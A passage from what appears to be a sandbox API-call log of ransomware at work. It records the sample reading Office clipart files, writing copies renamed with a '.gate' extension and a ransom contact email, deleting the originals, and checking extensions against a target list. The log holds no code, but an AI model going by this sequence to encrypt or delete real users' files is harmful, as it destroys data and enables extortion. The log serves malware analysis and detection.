office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.249] GetLastError () returned 0x0 [0320.250] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0xbd2, lpOverlapped=0x0) returned 1 [0320.250] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xbe0, lpOverlapped=0x0) returned 1 [0320.251] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.251] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.252] SetEndOfFile (hFile=0x38c) returned 1 [0320.252] CloseHandle (hObject=0x38c) returned 1 [0320.252] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.252] SetEndOfFile (hFile=0x374) returned 1 [0320.252] CloseHandle (hObject=0x374) returned 1 [0320.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0320.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0320.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0320.253] lstrlenW (lpString=".doc") returned 4 [0320.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.253] lstrlenW (lpString=".docx") returned 5 [0320.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.253] lstrlenW (lpString=".pdf") returned 4 [0320.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.253] lstrlenW (lpString=".xls") returned 4 [0320.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.253] lstrlenW (lpString=".xlsx") returned 5 [0320.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.253] lstrlenW (lpString=".ppt") returned 4 [0320.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0320.253] lstrlenW (lpString=".zip") returned 4 [0320.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.254] lstrlenW (lpString=".rar") returned 4 [0320.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.254] lstrlenW (lpString=".bz2") returned 4 [0320.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.254] lstrlenW (lpString=".7z") returned 3 [0320.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0320.254] lstrlenW (lpString=".dbf") returned 4 [0320.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0320.254] lstrlenW (lpString=".1cd") returned 4 [0320.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0320.254] lstrlenW (lpString=".jpg") returned 4 [0320.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0320.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0320.254] lstrlenW (lpString=".doc") returned 4 [0320.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.254] lstrlenW (lpString=".docx") returned 5 [0320.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.254] lstrlenW (lpString=".pdf") returned 4 [0320.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.254] lstrlenW (lpString=".xls") returned 4 [0320.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.254] lstrlenW (lpString=".xlsx") returned 5 [0320.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.254] lstrlenW (lpString=".ppt") returned 4 [0320.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0320.254] lstrlenW (lpString=".zip") returned 4 [0320.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.254] lstrlenW (lpString=".rar") returned 4 [0320.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.255] lstrlenW (lpString=".bz2") returned 4 [0320.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.255] lstrlenW (lpString=".7z") returned 3 [0320.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0320.255] lstrlenW (lpString=".dbf") returned 4 [0320.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0320.255] lstrlenW (lpString=".1cd") returned 4 [0320.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0320.255] lstrlenW (lpString=".jpg") returned 4 [0320.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.255] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.255] lstrlenW (lpString="AN00015_.WMF") returned 12 [0320.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.255] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=4734) returned 1 [0320.255] CloseHandle (hObject=0x374) returned 1 [0320.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0320.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.256] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.256] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.256] GetLastError () returned 0x0 [0320.256] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x127e, lpOverlapped=0x0) returned 1 [0320.257] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x1280, lpOverlapped=0x0) returned 1 [0320.258] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.258] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.258] SetEndOfFile (hFile=0x38c) returned 1 [0320.258] CloseHandle (hObject=0x38c) returned 1 [0320.258] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.259] SetEndOfFile (hFile=0x374) returned 1 [0320.259] CloseHandle (hObject=0x374) returned 1 [0320.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0320.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0320.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0320.260] lstrlenW (lpString=".doc") returned 4 [0320.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.260] lstrlenW (lpString=".docx") returned 5 [0320.260] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.260] lstrlenW (lpString=".pdf") returned 4 [0320.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.260] lstrlenW (lpString=".xls") returned 4 [0320.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.260] lstrlenW (lpString=".xlsx") returned 5 [0320.260] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.260] lstrlenW (lpString=".ppt") returned 4 [0320.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0320.260] lstrlenW (lpString=".zip") returned 4 [0320.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.260] lstrlenW (lpString=".rar") returned 4 [0320.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.261] lstrlenW (lpString=".bz2") returned 4 [0320.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.261] lstrlenW (lpString=".7z") returned 3 [0320.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0320.261] lstrlenW (lpString=".dbf") returned 4 [0320.261] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0320.261] lstrlenW (lpString=".1cd") returned 4 [0320.261] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0320.261] lstrlenW (lpString=".jpg") returned 4 [0320.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0320.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0320.261] lstrlenW (lpString=".doc") returned 4 [0320.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.261] lstrlenW (lpString=".docx") returned 5 [0320.261] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.261] lstrlenW (lpString=".pdf") returned 4 [0320.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.261] lstrlenW (lpString=".xls") returned 4 [0320.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.261] lstrlenW (lpString=".xlsx") returned 5 [0320.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.261] lstrlenW (lpString=".ppt") returned 4 [0320.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0320.261] lstrlenW (lpString=".zip") returned 4 [0320.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.261] lstrlenW (lpString=".rar") returned 4 [0320.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.262] lstrlenW (lpString=".bz2") returned 4 [0320.262] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.262] lstrlenW (lpString=".7z") returned 3 [0320.262] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0320.262] lstrlenW (lpString=".dbf") returned 4 [0320.262] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0320.262] lstrlenW (lpString=".1cd") returned 4 [0320.262] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0320.262] lstrlenW (lpString=".jpg") returned 4 [0320.262] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.262] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.262] lstrlenW (lpString="AN00790_.WMF") returned 12 [0320.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.262] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=5684) returned 1 [0320.262] CloseHandle (hObject=0x374) returned 1 [0320.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0320.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.263] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.263] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.263] GetLastError () returned 0x0 [0320.263] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x1634, lpOverlapped=0x0) returned 1 [0320.617] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0x1640, lpOverlapped=0x0) returned 1 [0320.619] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.619] WriteFile (in: hFile=0x38c, lpBuffer=0x3b27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.619] SetEndOfFile (hFile=0x38c) returned 1 [0320.619] CloseHandle (hObject=0x38c) returned 1 [0320.619] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.619] SetEndOfFile (hFile=0x374) returned 1 [0320.620] CloseHandle (hObject=0x374) returned 1 [0320.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0320.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0320.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0320.621] lstrlenW (lpString=".doc") returned 4 [0320.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.621] lstrlenW (lpString=".docx") returned 5 [0320.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.621] lstrlenW (lpString=".pdf") returned 4 [0320.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.621] lstrlenW (lpString=".xls") returned 4 [0320.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.621] lstrlenW (lpString=".xlsx") returned 5 [0320.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.621] lstrlenW (lpString=".ppt") returned 4 [0320.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0320.621] lstrlenW (lpString=".zip") returned 4 [0320.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.621] lstrlenW (lpString=".rar") returned 4 [0320.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.621] lstrlenW (lpString=".bz2") returned 4 [0320.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.621] lstrlenW (lpString=".7z") returned 3 [0320.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0320.621] lstrlenW (lpString=".dbf") returned 4 [0320.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0320.621] lstrlenW (lpString=".1cd") returned 4 [0320.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0320.621] lstrlenW (lpString=".jpg") returned 4 [0320.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0320.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0320.622] lstrlenW (lpString=".doc") returned 4 [0320.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.622] lstrlenW (lpString=".docx") returned 5 [0320.622] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.622] lstrlenW (lpString=".pdf") returned 4 [0320.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.622] lstrlenW (lpString=".xls") returned 4 [0320.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.622] lstrlenW (lpString=".xlsx") returned 5 [0320.622] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.622] lstrlenW (lpString=".ppt") returned 4 [0320.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0320.622] lstrlenW (lpString=".zip") returned 4 [0320.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.622] lstrlenW (lpString=".rar") returned 4 [0320.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.622] lstrlenW (lpString=".bz2") returned 4 [0320.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.622] lstrlenW (lpString=".7z") returned 3 [0320.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0320.622] lstrlenW (lpString=".dbf") returned 4 [0320.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0320.622] lstrlenW (lpString=".1cd") returned 4 [0320.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0320.622] lstrlenW (lpString=".jpg") returned 4 [0320.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.623] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.623] lstrlenW (lpString="AN01545_.WMF") returned 12 [0320.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.623] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=7372) returned 1 [0320.623] CloseHandle (hObject=0x374) returned 1 [0320.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 0x220 [0320.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0320.623] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.623] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0320.624] GetLastError () returned 0x0 [0320.624] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0320.625] WriteFile (in: 